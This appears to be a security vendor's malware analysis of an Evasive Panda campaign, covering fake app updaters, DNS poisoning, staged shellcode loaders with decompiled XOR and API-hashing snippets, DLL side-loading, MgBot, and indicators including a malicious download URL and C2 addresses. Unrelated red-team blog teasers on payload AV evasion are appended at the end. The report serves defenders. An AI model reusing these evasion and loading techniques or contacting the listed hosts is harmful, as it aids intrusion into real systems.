In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Tim Fowler // Do you know what could be lurking in your Windows event logs? In May of 2022, I was sent a Threat Post article about a new technique […]

The post Windows Event Logs for Red Teams appeared first on Black Hills Information Security, Inc..

Joff Thyer // It has been known for some time that an executable payload generated with msfvenom can leverage an alternative template EXE file, and be encoded to better evade […]

The post Advanced Msfvenom Payload Generation appeared first on Black Hills Information Security, Inc..

Joff Thyer //   When performing a penetration of test of organizations with Windows desktops, many testers will now resort to using tools like Veil’s Powershell Empire in order to […]

The post Modifying Metasploit x64 template for AV evasion appeared first on Black Hills Information Security, Inc..